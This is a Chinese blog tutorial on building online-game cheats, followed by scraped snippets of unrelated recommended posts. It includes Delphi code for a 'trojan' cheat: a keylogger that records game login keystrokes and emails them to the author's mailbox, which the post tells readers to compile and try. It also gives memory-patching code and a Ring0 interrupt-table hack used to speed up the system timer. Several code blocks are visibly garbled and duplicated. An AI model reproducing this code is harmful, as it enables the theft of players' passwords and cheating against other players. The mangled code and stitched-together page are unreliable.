4种网游外挂制作方法

利用python编程,制作自己的游戏“外挂”! Web 和 Internet开发科学计算和统计人工智能教育桌面界面开发软件开发后端开发网络爬虫今天以一个小游戏和一小段代码来告诉大家编程有多好玩。编程用的好,不仅可以提高工作效率,还能让玩游戏变的简单,有人会想到,外挂?哈哈,暂且可以这么说吧,当然我的主要目的是想让大家明白编程的好处,而不是怎么玩游戏作弊。言归正传,汉诺塔这个游戏,不知道有多少人有印象,特别有意思的一个游戏,关于汉诺塔还有一个神奇的故事,有兴趣的朋友可以搜索一下看看。简单说一下汉诺塔游戏规则。 阅读详情

在几年前我看到别人玩网络游戏用上了外挂,做为程序员的我心里实在是不爽,想搞清楚这到底是怎么回事。就拿了一些来研究,小有心得,拿出来与大家共享,外挂无非就是分几种罢了(依制作难度):

  1、动作式,所谓动作式,就是指用API发命令给窗口或API控制鼠标、键盘等,使游戏里的人物进行流动或者攻击,最早以前的“石器”外挂就是这种方式。(这种外挂完全是垃圾,TMD,只要会一点点API的人都知道该怎么做,不过这种外挂也是入门级的好东东,虽然不能提高你的战斗力,但是可以提高你的士气)

  2、本地修改式,这种外挂跟传统上的一些游戏修改器没有两样,做这种外挂在编程只需要对内存地址有一点认识并且掌握API就可以实现,“精灵”的外挂这是这种方式写成的,它的难点在于找到那些地址码,找地址一般地要借助于别人的工具,有的游戏还有双码校验,正正找起来会比较困难。(这种外挂,比上一种有一点点难度,但是这种外挂做起来能够用,也是有一定难度的啦~~,这种外挂可以很快提升你对内存地址的理解及应用,是你编程技术提高的好东东)

  3、木马式,这种外挂的目的是帮外挂制作者偷到用户的密码(TMD,“烂”就一个字,不过要知已知彼所以还是要谈一下啦~~),做这种外挂有一定的难度,需要HOOK或键盘监视技术做底子,才可以完成,它的原理是先首截了用户的帐号或密码,然后发到指定邮箱。(我以前写过这样的东东,但是从来没有用过,我知道这种东东很不道德,所以以后千万别用呀!)

  4、加速式,这种外挂可以加快游戏的速度……(对不起大家,这种东东我没有实际做过,所以不能妄自评,惭愧)

  这几种外挂之中,前三种可以用VB,Delphi等语言比较好实现,后两种则要用VC等底层支持比较好的编程工具才好实现。

  动作式外挂

  首先,先来谈一下动作式的外挂,这也是我第一次写外挂时做的最简单的一种。

  记得还在“石器”时代的时候,我看到别人挂着一种软件(外挂)人物就可以四外游走(当时我还不知道外挂怎么回事),于是找了这种软件过来研究(拿来后才听别人说这叫外挂),发现这种东东其实实现起来并不难,仔佃看其实人物的行走无非就是鼠标在不同的地方点来点去而已,看后就有实现这功能的冲动,随后跑到MSDN上看了一些资料,发现这种实现这几个功能,只需要几个简单的API函数就可以搞定:

  1、首先我们要知道现在鼠标的位置(为了好还原现在鼠标的位置)所以我们就要用到API函数GetCursorPos,它的使用方法如下:

BOOL GetCursorPos(
LPPOINT lpPoint // address of structure for cursor position
);

   2、我们把鼠标的位置移到要到人物走到的地方,我们就要用到SetCursorPos函数来移动鼠标位置,它的使用方法如下:

BOOL SetCursorPos(

int X, // horizontal position
int Y // vertical position
);

  3、模拟鼠标发出按下和放开的动作,我们要用到mouse_event函数来实现,具休使用方法用下:

VOID mouse_event(

DWORD dwFlags, // flags specifying various motion/click variants
DWORD dx, // horizontal mouse position or position change
DWORD dy, // vertical mouse position or position change
DWORD dwData, // amount of wheel movement
DWORD dwExtraInfo // 32 bits of application-defined information
);

  在它的dwFlags处,可用的事件很多如移动MOUSEEVENTF_MOVE,左键按下MOUSEEVENTF_LEFTDOWN,左键放开MOUSEEVENTF_LEFTUP,具体的东东还是查一下MSDN吧~

   好了,有了前面的知识,我们就可以来看看人物移走是怎么实现的了:

getcursorpos(point);
setcursorpos(ranpoint(80,windowX),ranpoint(80,windowY));//ranpoint是个自制的随机坐标函数
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
setcursorpos(point.x,point.y);

  看了以上的代码,是不是觉得人物的游走很简单啦,举一仿三,还有好多好东东可以用这个技巧实现(我早就说过,TMD,这是垃圾外挂的做法,相信了吧~),接下来,再看看游戏里面自动攻击的做法吧(必需游戏中攻击支持快捷键的),道理还是一样的,只是用的API不同罢了~~~,这回我们要用到的是keybd_event函数,其用法如下:

VOID keybd_event(

BYTE bVk, // virtual-key code
BYTE bScan, // hardware scan code
DWORD dwFlags, // flags specifying various function options
DWORD dwExtraInfo // additional data associated with keystroke
);

  我们还要知道扫描码不可以直接使用,要用函数MapVirtualKey把键值转成扫描码,MapVirtualKey的具体使用方法如下:

UINT MapVirtualKey(

UINT uCode, // virtual-key code or scan code
UINT uMapType // translation to perform
);

  好了,比说此快接键是CTRL+A,接下来让我们看看实际代码是怎么写的:

keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),0,0);
keybd_event(65,mapvirtualkey(65,0),0,0);
keybd_event(65,mapvirtualkey(65,0),keyeventf_keyup,0);
keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),keyeventf_keyup,0);

  首先模拟按下了CTRL键,再模拟按下A键,再模拟放开A键,最后放开CTRL键,这就是一个模拟按快捷键的周期。

  (看到这里,差不多对简易外挂有了一定的了解了吧~~做一个试试?如果你举一仿三还能有更好的东东出来,这就要看你的领悟能力了,不过不要高兴太早这只是才开始,以后还有更复杂的东东等着你呢~~)

本地修改式外挂

  现在我们来看看,比动作式外挂更进一步的外挂——本地修改式外挂的整个制作过程进行一个详细的分解。

  具我所知,本地修改式外挂最典型的应用就是在“精灵”游戏上面,因为我在近一年前(“精灵”还在测试阶段),我所在的公司里有很多同事玩“精灵”,于是我看了一下游戏的数据处理方式,发现它所发送到服务器上的信息是存在于内存当中(我看后第一个感受是:修改这种游戏和修改单机版的游戏没有多大分别,换句话说就是在他向服务器提交信息之前修改了内存地址就可以了),当时我找到了地址于是修改了内存地址,果然,按我的想法修改了地址,让系统自动提交后,果然成功了~,后来“精灵”又改成了双地址校检,内存校检等等,在这里我就不废话了~~~~,OK,我们就来看看这类外挂是如何制作的:

  在做外挂之前我们要对Windows的内存有个具体的认识,而在这里我们所指的内存是指系统的内存偏移量,也就是相对内存,而我们所要对其进行修改,那么我们要对几个Windows API进行了解,OK,跟着例子让我们看清楚这种外挂的制作和API的应用(为了保证网络游戏的正常运行,我就不把找内存地址的方法详细解说了):

  1、首先我们要用FindWindow,知道游戏窗口的句柄,因为我们要通过它来得知游戏的运行后所在进程的ID,下面就是FindWindow的用法:

HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);

  2、我们GetWindowThreadProcessId来得到游戏窗口相对应进程的进程ID,函数用法如下:

DWORD GetWindowThreadProcessId(

HWND hWnd, // handle of window
LPDWORD lpdwProcessId // address of variable for process identifier
);

  3、得到游戏进程ID后,接下来的事是要以最高权限打开进程,所用到的函数OpenProcess的具体使用方法如下:

HANDLE OpenProcess(

DWORD dwDesiredAccess, // access flag
BOOL bInheritHandle, // handle inheritance flag
DWORD dwProcessId // process identifier
);

  在dwDesiredAccess之处就是设存取方式的地方,它可设的权限很多,我们在这里使用只要使用PROCESS_ALL_ACCESS 来打开进程就可以,其他的方式我们可以查一下MSDN。

  4、打开进程后,我们就可以用函数对存内进行操作,在这里我们只要用到WriteProcessMemory来对内存地址写入数据即可(其他的操作方式比如说:ReadProcessMemory等,我在这里就不一一介绍了),我们看一下WriteProcessMemory的用法:

BOOL WriteProcessMemory(

HANDLE hProcess, // handle to process whose memory is written to
LPVOID lpBaseAddress, // address to start writing to
LPVOID lpBuffer, // pointer to buffer to write data to
DWORD nSize, // number of bytes to write
LPDWORD lpNumberOfBytesWritten // actual number of bytes written
);

  5、下面用CloseHandle关闭进程句柄就完成了。

  这就是这类游戏外挂的程序实现部份的方法,好了,有了此方法,我们就有了理性的认识,我们看看实际例子,提升一下我们的感性认识吧,下面就是XX游戏的外挂代码,我们照上面的方法对应去研究一下吧:

const
ResourceOffset: dword = 004219F4;resource:dword=3113226621;ResourceOffset1:dword= 004219 F 4 ; r e s o u r c e : d w o r d = 3113226621 ; R e s o u r c e O f f s e t 1 : d w o r d = 004219F8;
resource1: dword = 1940000000;
ResourceOffset2: dword = 0043FA50;resource2:dword=1280185;ResourceOffset3:dword= 0043 F A 50 ; r e s o u r c e 2 : d w o r d = 1280185 ; R e s o u r c e O f f s e t 3 : d w o r d = 0043FA54;
resource3: dword = 3163064576;
ResourceOffset4: dword = $0043FA58;
resource4: dword = 2298478592;
var
hw: HWND;
pid: dword;
h: THandle;
tt: Cardinal;
begin
hw := FindWindow(‘XX’, nil);
if hw = 0 then
Exit;
GetWindowThreadProcessId(hw, @pid);
h := OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if h = 0 then
Exit;
if flatcheckbox1.Checked=true then
begin
WriteProcessMemory(h, Pointer(ResourceOffset), @Resource, sizeof(Resource), tt);
WriteProcessMemory(h, Pointer(ResourceOffset1), @Resource1, sizeof(Resource1), tt);
end;
if flatcheckbox2.Checked=true then
begin
WriteProcessMemory(h, Pointer(ResourceOffset2), @Resource2, sizeof(Resource2), tt);
WriteProcessMemory(h, Pointer(ResourceOffset3), @Resource3, sizeof(Resource3), tt);
WriteProcessMemory(h, Pointer(ResourceOffset4), @Resource4, sizeof(Resource4), tt);
end;
MessageBeep(0);
CloseHandle(h);
close;

  这个游戏是用了多地址对所要提交的数据进行了校验,所以说这类游戏外挂制作并不是很难,最难的是要找到这些地址。

木马式外挂

  木马式外挂,可能大多像木马吧,是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网络上有此类外挂的存在,所以今天不得不说一下(我个人是非常讨厌这类外挂的,请看过本文的朋友不要到处乱用此技术,谢谢合作)。要做此类外挂的程序实现方法很多(比如HOOK,键盘监视等技术),因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库,所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视,这个程序用这种技术来实现比较适合。

  在做程序之前我们必需要了解一下程序的思路:

  1、我们首先知道你想记录游戏的登录窗口名称。

  2、判断登录窗口是否出现。

  3、如果登录窗口出现,就记录键盘。

  4、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。

  第一点我就不具体分析了,因为你们比我还要了解你们玩的是什么游戏,登录窗口名称是什么。从第二点开始,我们就开始这类外挂的程序实现之旅:

  那么我们要怎么样判断登录窗口虽否出现呢?其实这个很简单,我们用FindWindow函数就可以很轻松的实现了:

HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);

  实际程序实现中,我们要找到’xx’窗口,就用FindWindow(nil,’xx’)如果当返回值大于0时表示窗口已经出现,那么我们就可以对键盘信息进行记录了。

  先首我们用SetWindowsHookEx设置监视日志,而该函数的用法如下:

HHOOK SetWindowsHookEx(

int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle of application instance
DWORD dwThreadId // identity of thread to install hook for
);

  在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数,来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了,具体实现方法为:

hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);

  而HOOKPROC里的函数就要复杂一点点:

function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
begin
if findedtitle then file://如果发现窗口后
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then file://消息等于键盘按下
hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); file://通过keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的)转换消息。
if length(hookkey) > 0 then file://如果获得按键名称
begin
Write(hookkeyFile,hookkey); file://把按键名称写入文本文件
hookkey := ”;
end;
end;
end;

  以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀,UnHookWindowsHookEx(hHook),而hHOOK,就是创建setwindowshookex后所返回的句柄。

  我们已经得到了键盘的记录,那么现在最后只要把记录的这些信息发送回来,我们就大功造成了。其他发送这块并不是很难,只要把记录从文本文件里边读出来,用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下:

assignfile(ReadFile,’hook.txt’); file://打开hook.txt这个文本文件
reset(ReadFile); file://设为读取方式
try
While not Eof(ReadFile) do file://当没有读到文件尾
begin
Readln(ReadFile,s,j); file://读取文件行
body:=body+s;
end;
finally
closefile(ReadFile); file://关闭文件
end;
nmsmtp1.EncodeType:=uuMime; file://设置编码
nmsmtp1.PostMessage.Attachments.Text:=”; file://设置附件
nmsmtp1.PostMessage.FromAddress:=’XXX@XXX.com’; file://设置源邮件地址
nmsmtp1.PostMessage.ToAddress.Text:=’XXX@XXX.com’; /设置目标邮件地址
nmsmtp1.PostMessage.Body.Text:=’密码’+’ ‘+body; file://设置邮件内容
nmsmtp1.PostMessage.Subject:=’password’; file://设置邮件标题
nmsmtp1.SendMail; file://发送邮件

  这个程序全部功能已经实现,编编试试。

加速型外挂

  原本我一直以为加速外挂是针对某个游戏而写的,后来发现我这种概念是不对的,所谓加速外挂其实是修改时钟频率达到加速的目的。

  以前DOS时代玩过编程的人就会马上想到,这很简单嘛不就是直接修改一下8253寄存器嘛,这在以前DOS时代可能可以行得通,但是windows则不然。windows是一个32位的操作系统,并不是你想改哪就改哪的(微软的东东就是如此霸气,说不给你改就不给你改),但要改也不是不可能,我们可以通过两种方法来实现:第一是写一个硬件驱动来完成,第二是用Ring0来实现(这种方法是CIH的作者陈盈豪首用的,它的原理是修改一下IDE表->创建一个中断门->进入Ring0->调用中断修改向量,但是没有办法只能用ASM汇编来实现这一切_,做为高级语言使用者惨啦!),用第一种方法用点麻烦,所以我们在这里就用第二种方法实现吧~~~

  在实现之前我们来理一下思路吧:

  1、我们首先要写一个过程在这个过程里嵌入汇编语言来实现修改IDE表、创建中断门,修改向量等工作

  2、调用这个过程来实现加速功能

  好了,现在思路有了,我们就边看代码边讲解吧:

  首先我们建立一个过程,这个过程就是本程序的核心部份:

procedure SetRing(value:word); stdcall;
const ZDH = 03;//设一个中断号varIDT:array[0..5]ofbyte;//保存IDT表OG:dword;//存放旧向量beginasmpushebxsidtIDT//读入中断描述符表movebx,dwordptr[IDT+2]//IDT表基地址addebx,8∗ZDH//计算中断在中断描述符表中的位置cli//关中断movdx,wordptr[ebx+6]shledx,16dmovdx,wordptr[ebx]mov[OG],edxmoveax,offset@@Ring0//指向Ring0级代码段movwordptr[ebx],ax//低16位,保存在1,2位shreax,16dmovwordptr[ebx+6],ax//高16位,保存在6,7位intZDH//中断movebx,dwordptr[IDT+2]//重新定位addebx,8∗ZDHmovedx,[OG]movwordptr[ebx],dxshredx,16dmovwordptr[ebx+6],dx//恢复被改了的向量popebxjmp@@exitasm//到exitasm处@@Ring0://Ring0,这个也是最最最核心的东东moval, 03 ; / / 设 一 个 中 断 号 v a r I D T : a r r a y [ 0..5 ] o f b y t e ; / / 保 存 I D T 表 O G : d w o r d ; / / 存 放 旧 向 量 b e g i n a s m p u s h e b x s i d t I D T / / 读 入 中 断 描 述 符 表 m o v e b x , d w o r d p t r [ I D T + 2 ] / / I D T 表 基 地 址 a d d e b x , 8 ∗ Z D H / / 计 算 中 断 在 中 断 描 述 符 表 中 的 位 置 c l i / / 关 中 断 m o v d x , w o r d p t r [ e b x + 6 ] s h l e d x , 16 d m o v d x , w o r d p t r [ e b x ] m o v [ O G ] , e d x m o v e a x , o f f s e t @ @ R i n g 0 / / 指 向 R i n g 0 级 代 码 段 m o v w o r d p t r [ e b x ] , a x / / 低 16 位 , 保 存 在 1 , 2 位 s h r e a x , 16 d m o v w o r d p t r [ e b x + 6 ] , a x / / 高 16 位 , 保 存 在 6 , 7 位 i n t Z D H / / 中 断 m o v e b x , d w o r d p t r [ I D T + 2 ] / / 重 新 定 位 a d d e b x , 8 ∗ Z D H m o v e d x , [ O G ] m o v w o r d p t r [ e b x ] , d x s h r e d x , 16 d m o v w o r d p t r [ e b x + 6 ] , d x / / 恢 复 被 改 了 的 向 量 p o p e b x j m p @ @ e x i t a s m / / 到 e x i t a s m 处 @ @ R i n g 0 : / / R i n g 0 , 这 个 也 是 最 最 最 核 心 的 东 东 m o v a l , 34 //写入8253控制寄存器
out 43,almovax,value //写入定时值out 43 , a l m o v a x , v a l u e   / / 写 入 定 时 值 o u t 40,al //写定时值低位
mov al,ah
out $40,al //写定时值高位
iretd //返回
@@exitasm:
end;
end;

  最核心的东西已经写完了,大部份读者是知其然不知其所以然吧,呵呵,不过不知其所以然也然。下面我们就试着用一下这个过程来做一个类似于“变速齿轮”的一个东东吧!

  先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:

SetRing(strtoint(‘$’+inttostr(1742+(10-trackbar1.Position)*160)));

  因为windows默认的值为$1742,所以我们把1742做为基数,又因为值越小越快,反之越慢的原理,所以写了这样一个公式,好了,这就是“变速齿轮”的一个Delphi+ASM版了(只适用于win9X),呵呵,试一下吧,这对你帮助会很大的,呵呵。

  在win2000里,我们不可能实现在直接对端口进行操作,Ring0也失了效,有的人就会想到,我们可以写驱动程序来完成呀,但在这里我告诉你,windows2000的驱动不是一个VxD就能实现的,像我这样的低手是写不出windows所用的驱动WDM的,没办法,我只有借助外力实现了,ProtTalk就是一个很好的设备驱动,他很方便的来实现对低层端口的操作,从而实现加速外挂。

  1、我们首先要下一个PortTalk驱动,他的官方网站是http://www.beyondlogic.org

  2、我们要把里面的prottalk.sys拷贝出来。

  3、建立一个Protalk.sys的接口(我想省略了,大家可以上http://www.freewebs.com/liuyue/porttalk.pas下个pas文件自己看吧)

  4、实现加速外挂。

  下面就讲一下这程序的实现方法吧,如果说用ProtTalk来操作端口就容易多了,比win98下用ring权限操作方便。

  1、新建一个工程,把刚刚下的接口文件和Protalk.sys一起拷到工程文件保存的文件夹下。

  2、我们在我们新建的工程加入我们的接口文件

uses
windows,ProtTalk……

  3、我们建立一个过程

procedure SetRing(value:word);
begin
if not OpenPortTalk then exit;
outportb( 43, 43 , 34);
outportb( 40,lo(Value));outprotb( 40 , l o ( V a l u e ) ) ; o u t p r o t b ( 40,hi(value));
ClosePortTalk;
end;

  4、先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:

SetRing(strtoint(‘$’+inttostr(1742+(10-trackbar1.Position)*160)));

  就这么容易。

外挂原理 一、 前言   所谓游戏外挂,其实是一种游戏外辅程序,它可以协助玩家自动产生游戏动作、修改游戏网络数据包以及修改游戏内存数据等,以实现玩家用最少的时间和金钱去完成功力升级和过关斩将。虽然,现在对游戏外挂程序的“合法”身份众说纷纭,在这里我不想对此发表任何个人意见,让时间去说明一切吧。  不管游戏外挂程序是不是“合法”身份,但是它却是具有一定的技术含量的,在这些小小程序中使用了许多高端技术,如拦截S... 阅读详情

相关推荐

外挂基础知识入门

转:http://bbs.gameres.com/thread_142398_1_1.html 某些白痴菜鸟加本人QQ,扯了几天几夜。我确实累了...爱谁谁吧...爱用C++的用C++,爱用delphi用delphi,爱用易语言的用易语言...想怎么用你们就用什么...别扯这么多...骗子教程,专门骗钱没什么真技术.五代科技 www.5dai.com天下无挂 www.watxwg.c...

weixin_30435261的博客 1890

游戏外挂怎么做?

外挂,原指一切用来破坏游戏程序正常游戏数据和逻辑的工具或破解版。比如可以修改游戏内存数据的修改器,又比如可以修改网络数据包的抓包工具。这类外挂或多或少会影响游戏的内存数据、文件数据、网络数据,甚至代码逻辑。但随着外挂市场的发展,外挂衍生出其它恶意变种。这类外挂不会影响游戏数据和逻辑,例如脱机挂、模拟器和脚本精灵。脱机挂是外挂作者逆向游戏协议后独立开发的非法客户端,能让玩家节约很多时间多开刷游戏;模拟器能让玩家在PC上玩移动游戏,在FPS等游戏上能获得更好的操作环境,从而帮助玩家变相碾压对手;...

qq_30232405的博客 4万+

游戏外挂攻防艺术

游戏外挂攻防艺术

akdjhf的博客 3040

外挂是怎么制作的

需要注意的是,外挂制作和使用违反游戏规则,许多国家和地区都将其视为违法行为。合法的游戏环境应该是公平竞争,尊重游戏设计者的努力。1.研究游戏协议:黑客首先会对游戏的网络通信协议进行破解,了解游戏内部的工作原理,找到可以利用的漏洞或接口。3.隐藏行为:为了避开游戏的安全检查,外挂往往会采用编码技巧,如混淆代码、反调试技术,使其不易被游戏检测到。2.编写代码:他们会编写特殊的插件或修改游戏客户端代码,以添加额外的功能,比如无敌、无限生命、自动瞄准等。

2403_86297878的博客 4940

英飞凌ADS开发环境搭建全流程:从安装到第一个程序烧录

本文详细介绍了英飞凌ADS开发环境搭建的全流程,包括环境准备、ADS安装与配置、MemTools烧录技巧等关键步骤。针对嵌入式开发者,特别提供了从安装到第一个程序烧录的实战指南,涵盖常见问题解决方案和优化建议,帮助开发者快速上手英飞凌AURIX系列微控制器的开发工作。

qsc901234的博客 333

京东联盟h5st(3.1)加密参数逆向实战与反爬对抗策略

本文详细解析了京东联盟h5st(3.1)加密参数的逆向分析与实战破解过程。通过接口分析定位关键加密函数,拆解h5st结构并还原其基于SHA256和HMAC-SHA256的加密逻辑,最终使用Python集成JavaScript环境成功复现加密算法,并分享了应对反爬的频率限制、IP封禁及算法升级等对抗策略。

weixin_29246195的博客 1740

想学制作外挂的新手看过来

新手学易语言制作辅助的准备 1.三套基础教学视频,如:(觅风、世恒、魔鬼…等等) 2.CE、OD的使用方法 3.汇编与逆向基础视频 4.了解并学习做自己的E模块 5.了解并学习怎么过游戏检测 6.实战: ①准备1套游戏实战教程 ②跟随教程找本地所玩游戏相关数据 ③编写第一个辅助 存在问题提示: 1.CE、OD无法附加游戏, 2.先从单机游戏开始找数据写辅助 现存辅助类别: 脚本、封包、内存 课补知...

qq13197107741的博客 1万+

光耦选型避坑指南:如何根据CTR参数精准计算输入输出电阻(附24V工业场景实例)

本文深入解析光耦选型核心,聚焦电流传输比(CTR)参数及其衰减特性,提供从输出需求反向推导输入输出电阻的精准计算方法。文章以24V工业场景为例,结合光电耦合器数据手册,详细阐述了如何根据CTR最小值进行降额设计,并给出包含反接保护、TVS管等在内的完整保护电路方案,旨在构建高可靠、长寿命的信号隔离电路,避免因选型或设计不当导致的系统故障。

nept的博客 1040

四种网络游戏外挂的设计方法(三)

木马式外挂  木马式外挂,可能大多像木马吧,是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网络上有此类外挂的存在,所以今天不得不说一下(我个人是非常讨厌这类外挂的,请看过本文的朋友不要到处乱用此技术,谢谢合作)。要做此类外挂的程序实现方法很多(比如HOOK,键盘监视等技术),因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库,所以在文中我会以键盘监视技术来实现此类

686

从拆箱到跑通:Intel RealSense D435i开箱实测+ROS驱动配置全流程

本文详细记录了Intel RealSense D435i深度相机的开箱体验,并提供了在Ubuntu 22.04与ROS2 Humble环境下,从安装librealsense2 SDK到配置ROS2驱动的完整流程。重点解决了驱动安装、数据流发布、点云对齐以及IMU数据融合等关键步骤,帮助研究者和开发者快速实现D435i与机器人系统的集成。

weixin_29168393的博客 304

复现论文《孤岛微电网环境下基于物理模型引导的深度强化学习VSG频率控制方法》

本文提出了一种结合物理模型与深度强化学习的孤岛微电网VSG频率控制方法。通过建立VSG小信号模型并设计可变系数控制器,将物理知识融入深度强化学习框架,解决了高维参数和机组耦合带来的控制难题。复现代码实现了三个核心组件:VSGSmallSignalModel建模VSG动态特性,VariableCoefficientController实现参数自适应调节,PhysicsGuidedDRL整合DQN算法与物理模型引导的奖励机制。该方法通过模型驱动与数据驱动的优势互补,提升了频率控制性能,其中物理模型既作为先验知识

huanghm88的专栏 127

游戏外挂

网游外挂的制作流程首先,我想说明几点:第一,这篇文章并不是具体教你如何写外挂,只是带你大致浏览一下网游外挂的制作流程,并就其中的一些关键技术点加以简单说明。大家可以用看故事书的心情来阅读此文,了解一下网游外挂制作过程中的一些原理。第二,网游数据的破解爱麻烦,通常一个网游外挂制作团队内都有一名破解高手坐镇。所以碰到破解方面的问题我就只能一笔带过了。一、游戏封包的加密与解密算法的破解破解封包的加密与解...

晓晓梦 1862

汽车UDS诊断之诊断会话控制服务(0x10)深度剖析

DiagnosticSessionControl就是诊断会话控制。 请求消息定义 A_Data类型 参数名称 Cvt 字节值 助记符 #1 诊断会话控制请求SID M 0x10 DSC #2 子功能=[诊断会话类型] M 0x00-0xFF LEV_DS_ ...

心骗小白话的博客 7419

网游外挂之制作流程

很多人都对网游外挂的制作很感兴趣,在这篇文章里,我向大家简单介绍一下一款网游外挂的大致制作流程。首先,我想说明几点:第一,这篇文章并不是具体教你如何写外挂,只是带你大致浏览一下网游外挂的制作流程,并就其中的一些关键技术点加以简单说明。大家可以用看故事书的心情来阅读此文,了解一下网游外挂制作过程中的一些原理。第二,我对网游数据的破解不是很懂,通常一个网游外挂制作团队内都有一名破解高手坐镇。所以碰到破...

45

【UML】-- 期末试题题库含答案(各章题目、选择题、填空题、简答题、画图题)

每章都有对应的题目和答案,选择题,填空简答,大题,答案已标红,方便大家观看

个人博客 1万+

AI系统架构原理与代码实战案例讲解

人工智能的概念可以追溯到上世纪50年代,图灵测试的提出标志着人工智能作为一门学科的诞生。早期的研究主要集中在符号推理、专家系统等领域,取得了一些突破,例如机器定理证明、西洋跳棋程序等。上世纪80年代,随着专家系统的兴起,人工智能进入了一个黄金时期。专家系统通过模拟人类专家的知识和经验进行推理和决策,在医疗诊断、故障诊断等领域取得了成功应用。进入90年代,由于计算能力的限制和数据量的不足,人工智能的发展陷入低谷。近年来,随着深度学习技术的突破、大数据的兴起以及计算能力的提升,人工智能迎来了第三次发展浪潮,在图

AI天才研究院 1794

在内存中修改数据的网游外挂

在内存中修改数据的网游外挂现在很多游戏都是把一些信息存入内存单元的,那么我们只需要修改具体内存值就能修改游戏中的属性,很多网络游戏也不外于此。   曾几何时,一些网络游戏也是可以用内存外挂进行修改的,后来被发现后,这些游戏就把单一内存地址改成多内存地址校验,加大了修改难度,不过仍然可以通过内存分析器可以破解的。诸如“FPE”这样的软件便提供了一定的内存分析功能。   “FPE”是基于内存外挂的佼佼

lin_xx的专栏 6473

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = 